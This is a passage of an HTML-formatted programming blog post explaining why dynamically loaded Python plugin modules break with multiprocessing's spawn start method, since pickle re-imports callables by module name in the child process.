&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;loaded&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;module&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# Add the loaded module to sys.module so it can be&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# found by pickle&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;module&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;loaded&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The loaded modules work as any other Python module. In a plugin system you typically will lookup for a specific function or a class that will serve as entry point or hooks for the plugin.&lt;/p&gt;
&lt;p&gt;For example, in &lt;a href="https://byexamples.github.io/byexample/contrib/how-to-support-new-finders-and-languages"&gt;byexample&lt;/a&gt; the plugins must define classes that inherit from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ExampleFinder&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ExampleParser&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;ExampleRunner&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Concern&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. These extend &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;byexample&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; functionality to find, parse and run examples in different languages and hook –via &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;Concern&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;– most of the execution logic.&lt;/p&gt;
&lt;p&gt;Imagine now that one of the plugins implements a function &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;exec_bg&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that needs to be executed in background, in a &lt;strong&gt;separated Python process&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;We could do something like:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;loaded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;load_modules&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;# loading the plugins&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;loaded&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# pick the first, this is just an example&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;exec_bg&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# lookup plugin&amp;#39;s exec_bg function&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;multiprocessing&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;    &lt;span class="c1"&gt;# run exec_bg in a separated process&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is plain simple use of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;…. and it will &lt;strong&gt;not&lt;/strong&gt; work.&lt;/p&gt;
&lt;p&gt;Well, it &lt;em&gt;will&lt;/em&gt; work in Linux but not in MacOS or Windows.&lt;/p&gt;
&lt;p&gt;In this post I will show why it will &lt;strong&gt;not&lt;/strong&gt; work for dynamically loaded code (like from a plugin) and how to fix it.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="multiprocessings-start-method"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;’s start method&lt;/h2&gt;
&lt;p&gt;To gain truly parallelism in Python you need to use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; takes a target callable and an optional list of arguments and runs it in a separated Python process.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkFjdHVhbGx5IHRoZXJlIGlzIGEgdGhpcmQgbWVjaGFuaXNtLCBgZm9ya3NlcnZlcmAsIGJ1dCBpdCB3b3JrcwpzaW1pbGFyIGFuZCBzdWZmZXJzIGZyb20gdGhlIHNhbWUgaXNzdWVzIHRoYXQgYHNwYXduYC4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkFjdHVhbGx5IHRoZXJlIGlzIGEgdGhpcmQgbWVjaGFuaXNtLCBgZm9ya3NlcnZlcmAsIGJ1dCBpdCB3b3JrcwpzaW1pbGFyIGFuZCBzdWZmZXJzIGZyb20gdGhlIHNhbWUgaXNzdWVzIHRoYXQgYHNwYXduYC4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Actually there is a third mechanism, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;forkserver&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, but it works similar and suffers from the same issues that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;There are two mechanisms to have this separated Python process running: you can &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; the main process getting a copy of the Python process or you can &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; a &lt;strong&gt;fresh new&lt;/strong&gt; Python process.&lt;/p&gt;
&lt;p&gt;This is the so called &lt;em&gt;start method&lt;/em&gt; for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the default in Linux and it is the fastest. When the child process gets alive, it is immediately ready to execute the target callable: it has access to all the global state of the parent (a copy), it has access to the target code to call and to its arguments.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ready to rumble.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;On the other hand &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; starts a &lt;strong&gt;fresh new&lt;/strong&gt; Python server that has no idea of the state or the code loaded in the parent process.&lt;/p&gt;
&lt;p&gt;The parent needs to share to the child server the target callable and its arguments via a pipe and for the serialization it uses &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='CldoaWxlIHRlY2huaWNhbGx5IGBmb3JrYCBzaG91bGQgd29yayBmaW5lIGluIG11bHRpdGhyZWFkZWQgYXBwcywgc29tZQp2ZXJ5IGNvbW1vbiBtdWx0aXRocmVhZGVkIGxpYnMgaW4gTWFjT1MgZG8gbm90IHdvcmsgd2VsbC4KVGhpcyBicm91Z2h0IFtzb21lIGhlYWRhY2hlc10oaHR0cHM6Ly9idWdzLnB5dGhvbi5vcmcvaXNzdWUzMzcyNSkKaW4gdGhlIHBhc3QgYW5kIHNpbmNlIFB5dGhvbiAzLjggYHNwYXduYCBpcyB0aGUgZGVmYXVsdCBpbiBNYWNPUy4KCkluIExpbnV4IHRoZSBtb3N0IGNvbW1vbiBtdWx0aXRocmVhZGVkIGxpYnMgYXJlIHByZXBhcmVkIGZvciBgZm9ya2AKc28gdGhlIHJpc2sgaXMgbWluaW11bSAoSSB3b3VsZCBsaWtlIHRvIHNheSB6ZXJvIGJ1dCwgeW91IGtub3csIC4uLikKbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldoaWxlIHRlY2huaWNhbGx5IGBmb3JrYCBzaG91bGQgd29yayBmaW5lIGluIG11bHRpdGhyZWFkZWQgYXBwcywgc29tZQp2ZXJ5IGNvbW1vbiBtdWx0aXRocmVhZGVkIGxpYnMgaW4gTWFjT1MgZG8gbm90IHdvcmsgd2VsbC4KVGhpcyBicm91Z2h0IFtzb21lIGhlYWRhY2hlc10oaHR0cHM6Ly9idWdzLnB5dGhvbi5vcmcvaXNzdWUzMzcyNSkKaW4gdGhlIHBhc3QgYW5kIHNpbmNlIFB5dGhvbiAzLjggYHNwYXduYCBpcyB0aGUgZGVmYXVsdCBpbiBNYWNPUy4KCkluIExpbnV4IHRoZSBtb3N0IGNvbW1vbiBtdWx0aXRocmVhZGVkIGxpYnMgYXJlIHByZXBhcmVkIGZvciBgZm9ya2AKc28gdGhlIHJpc2sgaXMgbWluaW11bSAoSSB3b3VsZCBsaWtlIHRvIHNheSB6ZXJvIGJ1dCwgeW91IGtub3csIC4uLikKbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
While technically &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; should work fine in multithreaded apps, some very common multithreaded libs in MacOS do not work well. This brought &lt;a href="https://bugs.python.org/issue33725"&gt;some headaches&lt;/a&gt; in the past and since Python 3.8 &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the default in MacOS.
&lt;br /&gt;&lt;br /&gt;
In Linux the most common multithreaded libs are prepared for &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so the risk is minimum (I would like to say zero but, you know, …)
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is slightly slower than &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fork&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but it is thread-safe and the default in MacOS and Windows.&lt;/p&gt;
&lt;h2 id="pickle-ing-a-callable"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;-ing a callable&lt;/h2&gt;
&lt;p&gt;So, what does it mean to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; a callable?&lt;/p&gt;
&lt;p&gt;One could think that the serialization is the dump of the bytecode of the callable but &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is less sophisticated.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a_callable&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; just dumps enough information so &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can &lt;strong&gt;load the code&lt;/strong&gt; again.&lt;/p&gt;
&lt;p&gt;Here are a few examples:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;pickle&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x80\x04\x95\x10\x00\x00\x00\x00\x00\x00\x00\x8c\x02&lt;/span&gt;&lt;span class="s1"&gt;re&lt;/span&gt;&lt;span class="se"&gt;\x94\x8c\x05&lt;/span&gt;&lt;span class="s1"&gt;match&lt;/span&gt;&lt;span class="se"&gt;\x94\x93\x94&lt;/span&gt;&lt;span class="s1"&gt;.&amp;#39;&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x80\x04\x95&lt;/span&gt;&lt;span class="s1"&gt;?&lt;/span&gt;&lt;span class="se"&gt;\x00\x00\x00\x00\x00\x00\x00\x8c\x08&lt;/span&gt;&lt;span class="s1"&gt;builtins&lt;/span&gt;&lt;span class="se"&gt;\x94\x8c\x07&lt;/span&gt;&lt;span class="s1"&gt;getattr&lt;/span&gt;&lt;span class="se"&gt;\x94\x93\x94\x8c\x02&lt;/span&gt;&lt;span class="s1"&gt;re&lt;/span&gt;&lt;span class="se"&gt;\x94\x8c\x08&lt;/span&gt;&lt;span class="s1"&gt;_compile&lt;/span&gt;&lt;span class="se"&gt;\x94\x93\x94\x8c\x00\x94&lt;/span&gt;&lt;span class="s1"&gt;K &lt;/span&gt;&lt;span class="se"&gt;\x86\x94&lt;/span&gt;&lt;span class="s1"&gt;R&lt;/span&gt;&lt;span class="se"&gt;\x94\x8c\x05&lt;/span&gt;&lt;span class="s1"&gt;match&lt;/span&gt;&lt;span class="se"&gt;\x94\x86\x94&lt;/span&gt;&lt;span class="s1"&gt;R&lt;/span&gt;&lt;span class="se"&gt;\x94&lt;/span&gt;&lt;span class="s1"&gt;.&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is no need to go into the details, we can use the intuition here.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a function so the only thing that we need to reload it is where to find it. In the output of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dumps&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we can see the strings &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is different. This is a &lt;em&gt;bound method&lt;/em&gt;, so it is more complex and involves modules (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;builtins&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and functions/methods (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and some more bits.&lt;/p&gt;
&lt;p&gt;So, what happen on &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; ?&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; imports any necessary module (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;builtins&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and from there loads the code.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;It is like a recipe of how to (re)import the callable.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;label for='CmBwaWNrbGVgIGlzIG5vdCB0aGUgb25seSB3YXkgdG8gc2VyaWFsaXplIHRoaW5ncy4KW2RpbGxdKGh0dHBzOi8vcHlwaS5vcmcvcHJvamVjdC9kaWxsLykgZXh0ZW5kcyBgcGlja2xlYCBhbmQgc3VwcG9ydHMKbXVjaCBtb3JlIHRoaW5ncyBpbmNsdWRpbmcgYGxhbWJkYWAgZnVuY3Rpb25zLgptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CmBwaWNrbGVgIGlzIG5vdCB0aGUgb25seSB3YXkgdG8gc2VyaWFsaXplIHRoaW5ncy4KW2RpbGxdKGh0dHBzOi8vcHlwaS5vcmcvcHJvamVjdC9kaWxsLykgZXh0ZW5kcyBgcGlja2xlYCBhbmQgc3VwcG9ydHMKbXVjaCBtb3JlIHRoaW5ncyBpbmNsdWRpbmcgYGxhbWJkYWAgZnVuY3Rpb25zLgptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is not the only way to serialize things. &lt;a href="https://pypi.org/project/dill/"&gt;dill&lt;/a&gt; extends &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and supports much more things including &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;lambda&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; functions.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Not all the callable can be serialized however: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;lambda&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; for example cannot be imported from a module so they cannot be serialized.&lt;/p&gt;
&lt;h2 id="not-such-module"&gt;Not such module&lt;/h2&gt;
&lt;p&gt;Now why the following fails may be more obvious. Let’s recap:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;loaded&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;load_modules&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;# loading the plugins&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;mod&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;loaded&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# pick the first, this is just an example&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;getattr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mod&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;exec_bg&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# lookup plugin&amp;#39;s exec_bg function&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;multiprocessing&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;multiprocessing&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;    &lt;span class="c1"&gt;# run exec_bg in a separated process&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;proc&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The child process, &lt;em&gt;spawned&lt;/em&gt; by the parent, tries to unpickle the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function and for such it will try to import the module &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mod&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The module is not loaded yet and not present in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;modules&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in the child process because it is a fresh Python process.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pickle&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; does a normal &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as usual but the module &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;mod&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will &lt;em&gt;not be found&lt;/em&gt;, it is &lt;strong&gt;not&lt;/strong&gt; a module in the standard path (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) but a module loaded from an arbitrary folder (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;./&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;)&lt;/p&gt;
